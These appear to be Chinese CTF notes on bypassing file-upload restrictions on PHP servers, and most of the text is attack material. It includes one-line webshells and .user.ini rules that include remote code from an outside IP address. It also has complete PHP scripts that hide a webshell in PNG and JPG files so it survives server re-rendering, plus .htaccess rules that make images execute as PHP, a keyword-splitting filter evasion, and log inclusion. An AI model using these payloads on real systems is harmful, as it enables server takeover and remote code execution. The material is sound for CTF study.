.htaccess
文件只能用于apahce
,不能用于iis
和nginx
等中间件
.user.ini
只能用于Server API
为FastCGI
模式下,而正常情况下apache
不是运行在此模块下的。
162 突破.过滤
<?=include'http://82.156.153.203/index.txt'?>
.user.ini :GIF89a auto_prepend_file=png
png: GIF89a <?=include'http://1385994699/';?>
163 突破上传删除
GIF89a auto_prepend_file=http://1385994699/
GIF二次渲染
upload-labs靶场第17关:这一关对上传图片进行了判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染
实验所用GIF图片:https://wwe.lanzoui.com/iFSwwn53jaf
实验所用16进制编码器:
链接:https://pan.baidu.com/s/1ovltmHJvuNvzySELsuCEKg?pwd=hy4e
提取码:hy4e
将上传成功之后的图片下载
将上传的图片和上传后的图片用16进制编辑器打开,发现两张图片有些地方不一样,明明是同一张图片,为什么会不一样,因为我们将图片上传后,后台对它进行了二次渲染,导致了一些内容的改变。这样就可能导致我们长传的图片马失效,因为写后门代码的地方可能会被处理。
我们尝试将后门代码<?=eval($_POST[pass]);?>写在文件头部,然后保存重新上传。
上传成功之后再次打开发现后门代码不见了。
再次尝试将后门代码写到文件尾部。
然后打开上传之后的图片,在文件头不发现了后门代码,并没有删除。
然后上传.user.ini文件,用.user.ini包含a1118962020.gif,尝试用哥斯拉连接
164 png 二次渲染
手工虽然也能够绕过二次渲染,但是几率不大,运气不好的时候可能要多次尝试
这里建议用脚本注入后门,这样绕过的几率会大一些
png绕过代码:
<?php$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>
165 jpg 二次渲染
jpg绕过代码:
<?php$miniPayload = "<?=eval(\$_POST[1]);?>";if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');}if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');}set_error_handler("custom_error_handler");for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream = substr($outStream, 0, $startPos) . $miniPayload . substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}}unlink('payload_'.$argv[1]);die('Something\'s wrong');function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;}function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}}class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip) {$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}}
?>
166 zip 调用包含
直接上传 zip 后修改代码
<?=eval($_POST[x]);?>
167 .htaccess 妙用
(1)SetHandler 指令
# 将images.png 当做 PHP 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
(2)AddType# 将 .jpg(.xxx) 当做 PHP 文件解析
AddType application/x-httpd-php .jpg(.xxx)
168 免杀后门
可以上传php文件,但是后门代码会限制,过滤了一些关键词,eval,system等
将system拆分,然后直接读取对应文件
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flaga.php');?>
169 170 日志包含
上传.user.ini 包含日志:auto_prepend_file=/var/log/nginx/access.log